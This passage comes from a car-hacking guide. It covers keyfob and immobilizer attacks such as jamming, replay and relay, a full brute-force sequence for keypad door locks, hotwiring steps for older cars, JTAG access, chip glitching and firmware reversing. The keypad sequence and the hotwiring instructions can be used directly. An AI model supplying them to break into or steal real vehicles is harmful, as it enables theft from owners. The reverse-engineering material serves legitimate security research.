Use all the other network scanning methods you would use on a
normal company network. Run a sniffer for IP addresses and run
nmap to check for services and hosts. These might reveal devices
that have other features besides CAN that are potential access
points.
Any book on network pen testing would be useful for finding and
exploiting non-CAN services.

Attacking Keyfobs and Immobilizers
Remote keyless entry systems typically run at 315MHz for North
America and 433.92 MHz for Europe and Asia. Older systems used
to use infrared. These typically have a rolling code. Here is the
Gqrx settings to monitor an Unlock key press for a Honda key fob:
Gqrx Screenshot of keyfob unlock signal
The keys usually have a transponder in them . These transponders
communicate with the Immobilizer with RFID. The Immobilizer
prevents hot wiring of the vehicle. Transponders operate at 125
kHz.
Potential hacks:
Jam keyfob signal by passing garbage data within the
passband of the receiver. This prevents the receiver
from changing the rolling code while allowing the
attacker to view the correct key sequence.

Immobilizers sometimes have the key still in memory
minutes after the key has been removed. This can
provide a window of opportunity to start the car
without the key.
Replay attacks. Older immobilizers used a static code
instead of a rolling code.
Dump memory of transponder. It is often possible to
dump the memory of the transponder and get the
secret key.
Grab the Keyfob ID over UHF and attempt to gather the
keystream by replaying and recording.
Jam the car lock. An attacker can simulate the “lock”
button press which would prevent the car from
locking and allow a malicious person to steal the
contents of the vehicle.
Passive Keyless Entry and Start (PKES)
These systems are very similar to a traditional transponder
immobilizer system, except the keyfob can stay in the owner’s
pocket. This is achieved through multiple antennas in the vehicle
that locate the the keyfob. These keyfobs bundle a LF RFID chip and
a UHF signal to unlock start. The UHF signals will be ignored if the LF
RFID is not close enough. The RFID receives a crypto challenge and
the microcontroller solves this challenge and responds over the UHF
signal.
If the battery dies in a PKES keyfob, there is typically a hidden
physical key in the fob that will unlock the door. The immobilizer
will still use the RFID to verify the key is present before starting
.

Relay attack - Attacker places a device next to the car
and another next to the victim. The device relays
the signals from the victim to the vehicle and back,
enabling the attacker to start the car.
Keypad Entry
If the vehicle has a keypad under the door handle with buttons
labeled ½, ¾, 5/6, ⅞, 9/0 then you can enter this sequence below in
about 20 minutes to unlock the car door. For convenience, each
button is labeled 1,3,5,7 and 9 respectively. Here is a sequence
you can press in to unlock your car:
9 9 9 9 1 1 1 1 1 3 1 1 1 1 5 1 1 1 1 7 1 1
1 1 9 1 1 1 3 3 1 1 1 3 5 1 1 1 3 7 1 1 1 3
9 1 1 1 5 3 1 1 1 5 5 1 1 1 5 7 1 1 1 5 9 1
1 1 7 3 1 1 1 7 5 1 1 1 7 7 1 1 1 7 9 1 1 1
9 3 1 1 1 9 5 1 1 1 9 7 1 1 1 9 9 1 1 3 1 3
1 1 3 1 5 1 1 3 1 7 1 1 3 1 9 1 1 3 3 3 1 1
3 3 5 1 1 3 3 7 1 1 3 3 9 1 1 3 5 3 1 1 3 5
5 1 1 3 5 7 1 1 3 5 9 1 1 3 7 3 1 1 3 7 5 1
1 3 7 7 1 1 3 7 9 1 1 3 9 3 1 1 3 9 5 1 1 3
9 7 1 1 3 9 9 1 1 5 1 3 1 1 5 1 5 1 1 5 1 7
1 1 5 1 9 1 1 5 3 3 1 1 5 3 5 1 1 5 3 7 1 1
5 3 9 1 1 5 5 3 1 1 5 5 5 1 1 5 5 7 1 1 5 5
9 1 1 5 7 3 1 1 5 7 5 1 1 5 7 7 1 1 5 7 9 1
1 5 9 3 1 1 5 9 5 1 1 5 9 7 1 1 5 9 9 1 1 7
1 3 1 1 7 1 5 1 1 7 1 7 1 1 7 1 9 1 1 7 3 3
1 1 7 3 5 1 1 7 3 7 1 1 7 3 9 1 1 7 5 3 1 1
7 5 5 1 1 7 5 7 1 1 7 5 9 1 1 7 7 3 1 1 7 7
5 1 1 7 7 7 1 1 7 7 9 1 1 7 9 3 1 1 7 9 5 1
1 7 9 7 1 1 7 9 9 1 1 9 1 3 1 1 9 1 5 1 1 9
1 7 1 1 9 1 9 1 1 9 3 3 1 1 9 3 5 1 1 9 3 7
1 1 9 3 9 1 1 9 5 3 1 1 9 5 5 1 1 9 5 7 1 1

9 5 9 1 1 9 7 3 1 1 9 7 5 1 1 9 7 7 1 1 9 7 9
1 1 9 9 3 1 1 9 9 5 1 1 9 9 7 1 1 9 9 9 1 3 1
3 3 1 3 1 3 5 1 3 1 3 7 1 3 1 3 9 1 3 1 5 3 1
3 1 5 5 1 3 1 5 7 1 3 1 5 9 1 3 1 7 3 1 3 1 7
5 1 3 1 7 7 1 3 1 7 9 1 3 1 9 3 1 3 1 9 5 1 3
1 9 7 1 3 1 9 9 1 3 3 1 5 1 3 3 1 7 1 3 3 1 9
1 3 3 3 3 1 3 3 3 5 1 3 3 3 7 1 3 3 3 9 1 3 3
5 3 1 3 3 5 5 1 3 3 5 7 1 3 3 5 9 1 3 3 7 3 1
3 3 7 5 1 3 3 7 7 1 3 3 7 9 1 3 3 9 3 1 3 3 9
5 1 3 3 9 7 1 3 3 9 9 1 3 5 1 5 1 3 5 1 7 1 3
5 1 9 1 3 5 3 3 1 3 5 3 5 1 3 5 3 7 1 3 5 3 9
1 3 5 5 3 1 3 5 5 5 1 3 5 5 7 1 3 5 5 9 1 3 5
7 3 1 3 5 7 5 1 3 5 7 7 1 3 5 7 9 1 3 5 9 3 1
3 5 9 5 1 3 5 9 7 1 3 5 9 9 1 3 7 1 5 1 3 7 1
7 1 3 7 1 9 1 3 7 3 3 1 3 7 3 5 1 3 7 3 7 1 3
7 3 9 1 3 7 5 3 1 3 7 5 5 1 3 7 5 7 1 3 7 5 9
1 3 7 7 3 1 3 7 7 5 1 3 7 7 7 1 3 7 7 9 1 3 7
9 3 1 3 7 9 5 1 3 7 9 7 1 3 7 9 9 1 3 9 1 5 1
3 9 1 7 1 3 9 1 9 1 3 9 3 3 1 3 9 3 5 1 3 9 3
7 1 3 9 3 9 1 3 9 5 3 1 3 9 5 5 1 3 9 5 7 1 3
9 5 9 1 3 9 7 3 1 3 9 7 5 1 3 9 7 7 1 3 9 7 9
1 3 9 9 3 1 3 9 9 5 1 3 9 9 7 1 3 9 9 9 1 5 1
5 3 1 5 1 5 5 1 5 1 5 7 1 5 1 5 9 1 5 1 7 3 1
5 1 7 5 1 5 1 7 7 1 5 1 7 9 1 5 1 9 3 1 5 1 9
5 1 5 1 9 7 1 5 1 9 9 1 5 3 1 7 1 5 3 1 9 1 5
3 3 3 1 5 3 3 5 1 5 3 3 7 1 5 3 3 9 1 5 3 5 3
1 5 3 5 5 1 5 3 5 7 1 5 3 5 9 1 5 3 7 3 1 5 3
7 5 1 5 3 7 7 1 5 3 7 9 1 5 3 9 3 1 5 3 9 5 1
5 3 9 7 1 5 3 9 9 1 5 5 1 7 1 5 5 1 9 1 5 5 3
3 1 5 5 3 5 1 5 5 3 7 1 5 5 3 9 1 5 5 5 3 1 5
5 5 5 1 5 5 5 7 1 5 5 5 9 1 5 5 7 3 1 5 5 7 5
1 5 5 7 7 1 5 5 7 9 1 5 5 9 3 1 5 5 9 5 1 5 5

9 7 1 5 5 9 9 1 5 7 1 7 1 5 7 1 9 1 5 7 3 3
1 5 7 3 5 1 5 7 3 7 1 5 7 3 9 1 5 7 5 3 1 5
7 5 5 1 5 7 5 7 1 5 7 5 9 1 5 7 7 3 1 5 7 7
5 1 5 7 7 7 1 5 7 7 9 1 5 7 9 3 1 5 7 9 5 1
5 7 9 7 1 5 7 9 9 1 5 9 1 7 1 5 9 1 9 1 5 9
3 3 1 5 9 3 5 1 5 9 3 7 1 5 9 3 9 1 5 9 5 3
1 5 9 5 5 1 5 9 5 7 1 5 9 5 9 1 5 9 7 3 1 5
9 7 5 1 5 9 7 7 1 5 9 7 9 1 5 9 9 3 1 5 9 9
5 1 5 9 9 7 1 5 9 9 9 1 7 1 7 3 1 7 1 7 5 1
7 1 7 7 1 7 1 7 9 1 7 1 9 3 1 7 1 9 5 1 7 1
9 7 1 7 1 9 9 1 7 3 1 9 1 7 3 3 3 1 7 3 3 5
1 7 3 3 7 1 7 3 3 9 1 7 3 5 3 1 7 3 5 5 1 7
3 5 7 1 7 3 5 9 1 7 3 7 3 1 7 3 7 5 1 7 3 7
7 1 7 3 7 9 1 7 3 9 3 1 7 3 9 5 1 7 3 9 7 1
7 3 9 9 1 7 5 1 9 1 7 5 3 3 1 7 5 3 5 1 7 5
3 7 1 7 5 3 9 1 7 5 5 3 1 7 5 5 5 1 7 5 5 7
1 7 5 5 9 1 7 5 7 3 1 7 5 7 5 1 7 5 7 7 1 7
5 7 9 1 7 5 9 3 1 7 5 9 5 1 7 5 9 7 1 7 5 9
9 1 7 7 1 9 1 7 7 3 3 1 7 7 3 5 1 7 7 3 7 1
7 7 3 9 1 7 7 5 3 1 7 7 5 5 1 7 7 5 7 1 7 7
5 9 1 7 7 7 3 1 7 7 7 5 1 7 7 7 7 1 7 7 7 9
1 7 7 9 3 1 7 7 9 5 1 7 7 9 7 1 7 7 9 9 1 7
9 1 9 1 7 9 3 3 1 7 9 3 5 1 7 9 3 7 1 7 9 3
9 1 7 9 5 3 1 7 9 5 5 1 7 9 5 7 1 7 9 5 9 1
7 9 7 3 1 7 9 7 5 1 7 9 7 7 1 7 9 7 9 1 7 9
9 3 1 7 9 9 5 1 7 9 9 7 1 7 9 9 9 1 9 1 9 3
1 9 1 9 5 1 9 1 9 7 1 9 1 9 9 1 9 3 3 3 1 9
3 3 5 1 9 3 3 7 1 9 3 3 9 1 9 3 5 3 1 9 3 5
5 1 9 3 5 7 1 9 3 5 9 1 9 3 7 3 1 9 3 7 5 1
9 3 7 7 1 9 3 7 9 1 9 3 9 3 1 9 3 9 5 1 9 3
9 7 1 9 3 9 9 1 9 5 3 3 1 9 5 3 5 1 9 5 3 7
1 9 5 3 9 1 9 5 5 3 1 9 5 5 5 1 9 5 5 7 1 9

5 5 9 1 9 5 7 3 1 9 5 7 5 1 9 5 7 7 1 9 5 7 9
1 9 5 9 3 1 9 5 9 5 1 9 5 9 7 1 9 5 9 9 1 9 7
3 3 1 9 7 3 5 1 9 7 3 7 1 9 7 3 9 1 9 7 5 3 1
9 7 5 5 1 9 7 5 7 1 9 7 5 9 1 9 7 7 3 1 9 7 7
5 1 9 7 7 7 1 9 7 7 9 1 9 7 9 3 1 9 7 9 5 1 9
7 9 7 1 9 7 9 9 1 9 9 3 3 1 9 9 3 5 1 9 9 3 7
1 9 9 3 9 1 9 9 5 3 1 9 9 5 5 1 9 9 5 7 1 9 9
5 9 1 9 9 7 3 1 9 9 7 5 1 9 9 7 7 1 9 9 7 9 1
9 9 9 3 1 9 9 9 5 1 9 9 9 7 1 9 9 9 9 3 3 3 3
3 5 3 3 3 3 7 3 3 3 3 9 3 3 3 5 5 3 3 3 5 7 3
3 3 5 9 3 3 3 7 5 3 3 3 7 7 3 3 3 7 9 3 3 3 9
5 3 3 3 9 7 3 3 3 9 9 3 3 5 3 5 3 3 5 3 7 3 3
5 3 9 3 3 5 5 5 3 3 5 5 7 3 3 5 5 9 3 3 5 7 5
3 3 5 7 7 3 3 5 7 9 3 3 5 9 5 3 3 5 9 7 3 3 5
9 9 3 3 7 3 5 3 3 7 3 7 3 3 7 3 9 3 3 7 5 5 3
3 7 5 7 3 3 7 5 9 3 3 7 7 5 3 3 7 7 7 3 3 7 7
9 3 3 7 9 5 3 3 7 9 7 3 3 7 9 9 3 3 9 3 5 3 3
9 3 7 3 3 9 3 9 3 3 9 5 5 3 3 9 5 7 3 3 9 5 9
3 3 9 7 5 3 3 9 7 7 3 3 9 7 9 3 3 9 9 5 3 3 9
9 7 3 3 9 9 9 3 5 3 5 5 3 5 3 5 7 3 5 3 5 9 3
5 3 7 5 3 5 3 7 7 3 5 3 7 9 3 5 3 9 5 3 5 3 9
7 3 5 3 9 9 3 5 5 3 7 3 5 5 3 9 3 5 5 5 5 3 5
5 5 7 3 5 5 5 9 3 5 5 7 5 3 5 5 7 7 3 5 5 7 9
3 5 5 9 5 3 5 5 9 7 3 5 5 9 9 3 5 7 3 7 3 5 7
3 9 3 5 7 5 5 3 5 7 5 7 3 5 7 5 9 3 5 7 7 5 3
5 7 7 7 3 5 7 7 9 3 5 7 9 5 3 5 7 9 7 3 5 7 9
9 3 5 9 3 7 3 5 9 3 9 3 5 9 5 5 3 5 9 5 7 3 5
9 5 9 3 5 9 7 5 3 5 9 7 7 3 5 9 7 9 3 5 9 9 5
3 5 9 9 7 3 5 9 9 9 3 7 3 7 5 3 7 3 7 7 3 7 3
7 9 3 7 3 9 5 3 7 3 9 7 3 7 3 9 9 3 7 5 3 9 3
7 5 5 5 3 7 5 5 7 3 7 5 5 9 3 7 5 7 5 3 7 5 7
7 3 7 5 7 9 3 7 5 9 5 3 7 5 9 7 3 7 5 9 9 3 7

7 3 9 3 7 7 5 5 3 7 7 5 7 3 7 7 5 9 3 7 7 7 5
3 7 7 7 7 3 7 7 7 9 3 7 7 9 5 3 7 7 9 7 3 7 7
9 9 3 7 9 3 9 3 7 9 5 5 3 7 9 5 7 3 7 9 5 9 3
7 9 7 5 3 7 9 7 7 3 7 9 7 9 3 7 9 9 5 3 7 9 9
7 3 7 9 9 9 3 9 3 9 5 3 9 3 9 7 3 9 3 9 9 3 9
5 5 5 3 9 5 5 7 3 9 5 5 9 3 9 5 7 5 3 9 5 7 7
3 9 5 7 9 3 9 5 9 5 3 9 5 9 7 3 9 5 9 9 3 9 7
5 5 3 9 7 5 7 3 9 7 5 9 3 9 7 7 5 3 9 7 7 7 3
9 7 7 9 3 9 7 9 5 3 9 7 9 7 3 9 7 9 9 3 9 9 5
5 3 9 9 5 7 3 9 9 5 9 3 9 9 7 5 3 9 9 7 7 3 9
9 7 9 3 9 9 9 5 3 9 9 9 7 3 9 9 9 9 5 5 5 5 5
7 5 5 5 5 9 5 5 5 7 7 5 5 5 7 9 5 5 5 9 7 5 5
5 9 9 5 5 7 5 7 5 5 7 5 9 5 5 7 7 7 5 5 7 7 9
5 5 7 9 7 5 5 7 9 9 5 5 9 5 7 5 5 9 5 9 5 5 9
7 7 5 5 9 7 9 5 5 9 9 7 5 5 9 9 9 5 7 5 7 7 5
7 5 7 9 5 7 5 9 7 5 7 5 9 9 5 7 7 5 9 5 7 7 7
7 5 7 7 7 9 5 7 7 9 7 5 7 7 9 9 5 7 9 5 9 5 7
9 7 7 5 7 9 7 9 5 7 9 9 7 5 7 9 9 9 5 9 5 9 7
5 9 5 9 9 5 9 7 7 7 5 9 7 7 9 5 9 7 9 7 5 9 7
9 9 5 9 9 7 7 5 9 9 7 9 5 9 9 9 7 5 9 9 9 9 7
7 7 7 7 9 7 7 7 9 9 7 7 9 7 9 7 7 9 9 9 7 9 7
9 9 7 9 9 9 9 9
This works because the keycodes roll, meaning that one code can
bleed into another without issue. This was discovered by jongleur
on everything2.com
(http://everything2.com/index.pl?node_id=1520430)

FLASHBACK Hotwiring
This attack is no longer successful in modern cars, but you still see it
in countless movies, so for fun we are including a hot-wiring
section. Don’t try this on vehicles after around the mid-90s.
Originally, ignition systems used the key to complete the electrical
circuit. If you pop off the steering wheel cover, there are usually 3
bundles of wires. You are looking for the ignition/battery bundle.
The wires could be colored differently so you will want to verify for
your particular vehicle. The wires we care about are a battery wire,
ignition wire, and starter wire. Strip and connect the battery and
the ignition wires, then “spark” the bundle with the starter wire.
Once the car starts, remove the starter wire. Do not wire the starter
to the bundle – only use it to start the engine!
Some cars will have a steering wheel lock that you must also bypass
or remove to move the steering wheel. This can be done by
breaking off the metal keyhole spring and breaking the lock, or
sometimes just by forcing the wheel to turn until it breaks.

Attacking ECUs and other Embedded
Systems
The Engine Control Unit (ECU) is a common target of reverse
engineering and is sometimes referred to as chip tuning. Probably
the most popular hack to an ECU is modifying the fuel map. This is
basically a chart showing how much fuel to inject at a RPM and
throttle position. One would modify this map to alter the balance
of fuel efficiency and performance.
The SAE J2534-1 Standard is required to allow everyone to program
their ECU devices. In order to reflash the ECU/PCM you need a
J2534 Passthru device and the OEM software for the manufactured
vehicle.
Analyze the Circuit Board
When reversing a circuit board of any system you should look at all
the microcontroller chips. Companies rarely make custom chips, so
a search of the model number on the chip can reveal the complete
data sheet. Sometimes you’ll run into custom ASIC processors with
custom opcodes; those will pose a more difficult problem. Older
chips can be removed and plugged into an EPROM programmer.
Modern systems can be directly reprogrammed via JTAG.
When looking at the chips you are looking for microcontrollers and
memory locations. Looking at the data sheet can give you
information on how things are wired together and where diagnostic
pins are located.
JTAG
JTAG allows for chip-level debugging and the ability to download
and upload firmware. Locating JTAG can be done through the data
sheet. Often pads on the circuit board are broken out from the chip

itself; that will give you access to the JTAG pins. If you want to do a
quick test of exposed pads to see if any are JTAG, a tool such as
JTAGULATOR can come in handy. The JTAGULATOR allows you to
plug in all the exposed pins, set the proper voltage and then it will
find any JTAG pins and even walk the JTAG chain to see if any more
chips are attached.
It is possible to do JTAG over just two wires, but it is more common
to see 4 or 5 pins. There are other debugging protocols besides
JTAG, such as Single Wire Debugging (SWD), but JTAG is the most
common. Finding JTAG is the first step; usually, you must also
overcome additional protections that prevent you from just
downloading the firmware.
There are two ways to disable JTAG firmware uploading. One is via
software with the JTD bit. This bit is enabled (usually twice) via
software during runtime. If not called twice within a short time, the
bit is not set. The hack for this is to use clock or power glitching (see
below) to skip at least one of these instructions.
The other method is to “permanently” disable programming by
setting the JTAG fuse (OCDEN and JTAGEN), disabling both. This is
harder to bypass. It can sometimes be done with voltage glitching
or with the more invasive optical glitches. Optical glitches require
decapping the chip and using a microscope and a laser, so they are
obviously more costly.
Fault Injection (Glitching)
Fault Injection, aka glitching, involves attacking a chip by disrupting
the normal operations. When reading a data sheet, you will see
comments on the range for clock speeds or power. There is often a
note that failing to stick to these parameters will have unpredictable

results. This is exactly what we will take advantage of. There are
lots of ways of introducing faults, including with clocks, power,
temperature, and light. We will cover some here.
Clock Glitching
If you see an external crystal on the board, you can typically cause a
clock glitch with little problem. This can sometimes be done when
the clock is internal as well, but it is much more difficult. Every time
the microcontroller gets a pulse from the clock, it executes an
instruction. What happens if there is a “hiccup” during one of those
clock pulses?
Most of the time, it skips the instruction. The Program Counter (PC)
has time to increment but not enough time for the instruction to
execute, allowing you to skip instructions. This can be useful to
bypassing security methods, breaking out of loops or re-enabling
JTAG.
To perform a clock glitch, you need a system faster than your target.
An FPGA board is ideal but this can be done with other
microcontrollers. You need to sync with the target’s clock and when
the instruction you want to skip happens, drive the clock to ground
for a partial cycle.

Power Glitching
Power glitching is triggered in a similar manner as clock glitching.
Feed the target board the proper power until you want to trigger
“unexpected results.” You do this by either dropping the voltage or
raising the voltage. Dropping the voltage is often safer than raising
it, so try that first. Each microcontroller reacts different to power
glitching, so take the same chip as your target and build a “glitch
profile” to see what types of behavior can be controlled. If you skip
instructions via power glitching, it is often because the opcode
instruction is corrupted and did something else or one of the
registers got corrupted.
Power glitching can also affect memory read and writes. You can
cause the controller to read different data or forget to write a value.
It all depends on what type of instruction is running during the
power fault. Each microcontroller is different, and some are not
vulnerable at all to power glitching so you will want to test with
your target chipset first.
Invasive Fault Injection
The above attacks do not require modifying the target board. Next
we’ll examine invasive fault injection attacks. These are more time-
consuming and expensive, but if you need to do the job and have
the resources, this is often the best way.
Invasive fault injection involves unpacking the chip, typically with
acid (nitric acid and acetone). You will typically want to use an
electron microscope to take an image of the chip. You can just
work on the top (or bottom) layer or you can map out each layer.
You can use micro probes and a microprobe station once you know
what to target. Once micro probes are attached, you can inject the
exact signal you want.

Besides microprobes, you can also use targeted lasers to cause
optical faults or even directed heat. These attacks typically slow the
process down in that region. For instance, if a move instruction is
suppose to take two clock cycles, you can slow the registry retrieval
so it is late for the next instruction.
Reversing The Firmware
Let’s say you have a binary blob in the firmware. Maybe you used
one of the cool hacks mentioned in this chapter, or perhaps you
downloaded a firmware update and unzipped it. Either way, you
need to disassemble the binary.
You must know what chip this binary is for. There are several free
decompilers for different chips out on the internet. Or you can drop
some cash and buy IDA Pro, which supports a large variety of chips.
These tools will convert the hex values in the binary into assembler
instructions. The next stage is to figure out what exactly you are
looking at.
Any modern vehicle should support OBD-II packets. You are looking
for Mode and PID settings to indicate where the ECU keeps
information such as coolant temperatures, ignition timings, RPM,
etc. You should then be able to locate the fuel map or lookup table
(LUT) that performance tuners use.

What does your hacker garage need?
You can get by with just the tools mentioned in the sections you
want to focus on. However, this section describes how to make a
well-rounded car hacker’s garage. If you want to hack cars with
other like-minded individuals, I suggest going to OpenGarages.org
and setting up a local group.
Setting up an Open Garage
First you will want a location. Ideally this would be an actual
mechanic’s garage, but you can also just use a normal garage,
hackerspace, junkyard, etc.
Next you will want to pick a recurring meeting date. If you already
have a group of people looking to get started, I would make this a
weekly event, but do not make it longer than once a month. Finally
you will want some way to communicate such as a mailing list, IRC,
forum, etc. That’s it. Now your group can decide what you want to
hack and have at it. You could create a group that focuses on one
type of car or attack or just any type. Register your meeting with
opengarages.org so others can find you.
Hardware
Here is a list of some hardware tools to complete your garage. This
list is not exhaustive and we lean towards open-source hardware
rather than proprietary products.
Oscilloscope
Logic Analyzer
Solder reflow station
OBD-II Extension Cable
Scan Tool

CAN Sniffer - Arduino CAN Bus shields, kvaser
boards, etc
J2534 Passthru device
JTAGulator
Clock or Voltage glitcher - FPGA Dev boards,
GoodFET
USRP or lower end SDR device
Software
Here are some of the programs you may find useful for your
garage. Again, we lean towards open-source software wherever
possible.
- OCERA CAN project
- IDA Pro
- Sniffer for you CAN HW. This will depend on what HW you
pick. There are generic sniffers for LINCan such as
OpenCAN or CANiBUS.
- Linux - Tons of free tools with scripting abilities and built-in
support for several CAN devices.
- Kayak (http://kayak.2codeornot2code.org/)

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